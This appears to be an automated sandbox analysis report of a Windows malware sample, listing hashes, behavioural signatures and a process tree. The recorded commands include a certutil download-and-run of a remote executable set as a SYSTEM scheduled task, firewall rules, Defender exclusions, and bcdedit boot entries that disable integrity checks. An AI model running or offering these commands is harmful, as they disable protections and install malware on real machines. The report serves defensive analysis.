Analysis
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max time kernel
146s -
max time network
145s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
08-11-2020 18:14
Static task
static1
Behavioral task
behavioral1
Sample
9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
Resource
win10v20201028
General
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Target
9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe
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Size
3.8MB
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MD5
ec739beadc6a82a62f4a0c12e271372c
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SHA1
e5f980ac2ec58b88062d9a01eacfd040a2690976
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SHA256
9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc
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SHA512
3d99c6b668e97e806eaf2f503186f70a4d9b4c287360e16d66238ff355a733246623cf0d573c912babf2685872de3d909da615010b90a0274b68843def8b1551
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
Processes:
svchost.exedescription pid process target process PID 560 created 4092 560 svchost.exe 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe PID 560 created 2992 560 svchost.exe csrss.exe PID 560 created 2992 560 svchost.exe csrss.exe PID 560 created 2992 560 svchost.exe csrss.exe PID 560 created 2992 560 svchost.exe csrss.exe -
Modifies boot configuration data using bcdedit 15 IoCs
Processes:
bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exepid process 3432 bcdedit.exe 508 bcdedit.exe 3720 bcdedit.exe 1188 bcdedit.exe 1028 bcdedit.exe 2012 bcdedit.exe 1428 bcdedit.exe 3292 bcdedit.exe 2236 bcdedit.exe 3244 bcdedit.exe 3240 bcdedit.exe 3076 bcdedit.exe 2484 bcdedit.exe 3884 bcdedit.exe 4048 bcdedit.exe -
Drops file in Drivers directory 2 IoCs
Processes:
dsefix.execsrss.exedescription ioc process File created C:\Windows\system32\drivers\VBoxDrv.sys dsefix.exe File created C:\Windows\System32\drivers\Winmon.sys csrss.exe -
Executes dropped EXE 5 IoCs
Processes:
csrss.exepatch.exedsefix.exewindefender.exewindefender.exepid process 2992 csrss.exe 620 patch.exe 2208 dsefix.exe 508 windefender.exe 2484 windefender.exe -
Modifies Windows Firewall 1 TTPs
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Processes:
resource yara_rule C:\Windows\windefender.exe upx C:\Windows\windefender.exe upx behavioral2/memory/508-130-0x0000000000400000-0x0000000000897000-memory.dmp upx C:\Windows\windefender.exe upx -
Loads dropped DLL 4 IoCs
Processes:
patch.exepid process 620 patch.exe 620 patch.exe 620 patch.exe 620 patch.exe -
Processes:
9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\57f67627e14e = "0" 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\ShyPine = "0" 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\57f67627e14e.exe = "0" 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe = "0" 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\ShyPine = "\"C:\\Windows\\rss\\csrss.exe\"" 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Drops file in Windows directory 4 IoCs
Processes:
csrss.exe9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exedescription ioc process File opened for modification C:\Windows\windefender.exe csrss.exe File opened for modification C:\Windows\rss 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe File created C:\Windows\rss\csrss.exe 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe File created C:\Windows\windefender.exe csrss.exe -
Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
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Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 4024 schtasks.exe 2420 schtasks.exe -
Modifies data under HKEY_USERS 522 IoCs
Processes:
csrss.exewindefender.exenetsh.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-72 = "Newfoundland Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2841 = "Saratov Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-731 = "Fiji Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2772 = "Omsk Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1842 = "Russia TZ 4 Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-401 = "Arabic Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-171 = "Central Daylight Time (Mexico)" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-732 = "Fiji Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-452 = "Caucasus Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-372 = "Jerusalem Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-365 = "Middle East Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-722 = "Central Pacific Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2161 = "Altai Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-112 = "Eastern Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-511 = "Central Asia Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-272 = "Greenwich Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2372 = "Easter Island Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1801 = "Line Islands Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-105 = "Central Brazilian Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2532 = "Chatham Islands Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-572 = "China Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-191 = "Mountain Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-871 = "Pakistan Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2451 = "Saint Pierre Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-281 = "Central Europe Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-241 = "Samoa Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-462 = "Afghanistan Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2491 = "Aus Central W. Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-122 = "SA Pacific Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-591 = "Malay Peninsula Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1972 = "Belarus Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2591 = "Tocantins Daylight Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-722 = "Central Pacific Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1832 = "Russia TZ 2 Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2491 = "Aus Central W. Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2391 = "Aleutian Daylight Time" windefender.exe Key created \REGISTRY\USER\.DEFAULT\System\CurrentControlSet\Control netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-162 = "Central Standard Time" csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-512 = "Central Asia Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-432 = "Iran Standard Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-361 = "GTB Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1412 = "Syria Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2411 = "Marquesas Daylight Time" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-692 = "Tasmania Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-182 = "Mountain Standard Time (Mexico)" windefender.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time" csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1932 = "Russia TZ 11 Standard Time" csrss.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
Processes:
9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.execsrss.exepid process 4092 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe 4092 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe 1560 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe 1560 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe 2992 csrss.exe 2992 csrss.exe 2992 csrss.exe 2992 csrss.exe 2992 csrss.exe 2992 csrss.exe -
Suspicious behavior: LoadsDriver 2 IoCs
Processes:
pid process 624 624 -
Suspicious use of AdjustPrivilegeToken 23 IoCs
Processes:
9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exesvchost.execsrss.exesc.exedescription pid process Token: SeDebugPrivilege 4092 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe Token: SeImpersonatePrivilege 4092 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe Token: SeTcbPrivilege 560 svchost.exe Token: SeTcbPrivilege 560 svchost.exe Token: SeBackupPrivilege 560 svchost.exe Token: SeRestorePrivilege 560 svchost.exe Token: SeBackupPrivilege 560 svchost.exe Token: SeRestorePrivilege 560 svchost.exe Token: SeBackupPrivilege 560 svchost.exe Token: SeRestorePrivilege 560 svchost.exe Token: SeBackupPrivilege 560 svchost.exe Token: SeRestorePrivilege 560 svchost.exe Token: SeSystemEnvironmentPrivilege 2992 csrss.exe Token: SeBackupPrivilege 560 svchost.exe Token: SeRestorePrivilege 560 svchost.exe Token: SeBackupPrivilege 560 svchost.exe Token: SeRestorePrivilege 560 svchost.exe Token: SeBackupPrivilege 560 svchost.exe Token: SeRestorePrivilege 560 svchost.exe Token: SeSecurityPrivilege 1420 sc.exe Token: SeSecurityPrivilege 1420 sc.exe Token: SeBackupPrivilege 560 svchost.exe Token: SeRestorePrivilege 560 svchost.exe -
Suspicious use of WriteProcessMemory 61 IoCs
Processes:
svchost.exe9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.execmd.execmd.exepatch.execsrss.exewindefender.execmd.exedescription pid process target process PID 560 wrote to memory of 1560 560 svchost.exe 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe PID 560 wrote to memory of 1560 560 svchost.exe 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe PID 560 wrote to memory of 1560 560 svchost.exe 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe PID 1560 wrote to memory of 2684 1560 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe cmd.exe PID 1560 wrote to memory of 2684 1560 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe cmd.exe PID 2684 wrote to memory of 620 2684 cmd.exe netsh.exe PID 2684 wrote to memory of 620 2684 cmd.exe netsh.exe PID 1560 wrote to memory of 2700 1560 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe cmd.exe PID 1560 wrote to memory of 2700 1560 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe cmd.exe PID 2700 wrote to memory of 3560 2700 cmd.exe netsh.exe PID 2700 wrote to memory of 3560 2700 cmd.exe netsh.exe PID 1560 wrote to memory of 2992 1560 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe csrss.exe PID 1560 wrote to memory of 2992 1560 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe csrss.exe PID 1560 wrote to memory of 2992 1560 9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe csrss.exe PID 560 wrote to memory of 4024 560 svchost.exe schtasks.exe PID 560 wrote to memory of 4024 560 svchost.exe schtasks.exe PID 560 wrote to memory of 2420 560 svchost.exe schtasks.exe PID 560 wrote to memory of 2420 560 svchost.exe schtasks.exe PID 560 wrote to memory of 620 560 svchost.exe patch.exe PID 560 wrote to memory of 620 560 svchost.exe patch.exe PID 620 wrote to memory of 3432 620 patch.exe bcdedit.exe PID 620 wrote to memory of 3432 620 patch.exe bcdedit.exe PID 620 wrote to memory of 508 620 patch.exe bcdedit.exe PID 620 wrote to memory of 508 620 patch.exe bcdedit.exe PID 620 wrote to memory of 3720 620 patch.exe bcdedit.exe PID 620 wrote to memory of 3720 620 patch.exe bcdedit.exe PID 620 wrote to memory of 1188 620 patch.exe bcdedit.exe PID 620 wrote to memory of 1188 620 patch.exe bcdedit.exe PID 620 wrote to memory of 1028 620 patch.exe bcdedit.exe PID 620 wrote to memory of 1028 620 patch.exe bcdedit.exe PID 620 wrote to memory of 2012 620 patch.exe bcdedit.exe PID 620 wrote to memory of 2012 620 patch.exe bcdedit.exe PID 620 wrote to memory of 1428 620 patch.exe bcdedit.exe PID 620 wrote to memory of 1428 620 patch.exe bcdedit.exe PID 620 wrote to memory of 3292 620 patch.exe bcdedit.exe PID 620 wrote to memory of 3292 620 patch.exe bcdedit.exe PID 620 wrote to memory of 2236 620 patch.exe bcdedit.exe PID 620 wrote to memory of 2236 620 patch.exe bcdedit.exe PID 620 wrote to memory of 3244 620 patch.exe bcdedit.exe PID 620 wrote to memory of 3244 620 patch.exe bcdedit.exe PID 620 wrote to memory of 3240 620 patch.exe bcdedit.exe PID 620 wrote to memory of 3240 620 patch.exe bcdedit.exe PID 620 wrote to memory of 3076 620 patch.exe bcdedit.exe PID 620 wrote to memory of 3076 620 patch.exe bcdedit.exe PID 620 wrote to memory of 2484 620 patch.exe bcdedit.exe PID 620 wrote to memory of 2484 620 patch.exe bcdedit.exe PID 620 wrote to memory of 3884 620 patch.exe bcdedit.exe PID 620 wrote to memory of 3884 620 patch.exe bcdedit.exe PID 2992 wrote to memory of 4048 2992 csrss.exe bcdedit.exe PID 2992 wrote to memory of 4048 2992 csrss.exe bcdedit.exe PID 2992 wrote to memory of 2208 2992 csrss.exe dsefix.exe PID 2992 wrote to memory of 2208 2992 csrss.exe dsefix.exe PID 560 wrote to memory of 508 560 svchost.exe windefender.exe PID 560 wrote to memory of 508 560 svchost.exe windefender.exe PID 560 wrote to memory of 508 560 svchost.exe windefender.exe PID 508 wrote to memory of 1292 508 windefender.exe cmd.exe PID 508 wrote to memory of 1292 508 windefender.exe cmd.exe PID 508 wrote to memory of 1292 508 windefender.exe cmd.exe PID 1292 wrote to memory of 1420 1292 cmd.exe sc.exe PID 1292 wrote to memory of 1420 1292 cmd.exe sc.exe PID 1292 wrote to memory of 1420 1292 cmd.exe sc.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe"C:\Users\Admin\AppData\Local\Temp\9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe"C:\Users\Admin\AppData\Local\Temp\9272b247337fb357b642d0aa7227f2be68a965ad5cbc7b03810ca9052bbb84dc.exe"2⤵
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies data under HKEY_USERS
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C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57f67627e14e\57f67627e14e.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57f67627e14e\57f67627e14e.exe" enable=yes4⤵
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://babsitef.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 05⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 15⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}5⤵
- Modifies boot configuration data using bcdedit
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C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast5⤵
- Modifies boot configuration data using bcdedit
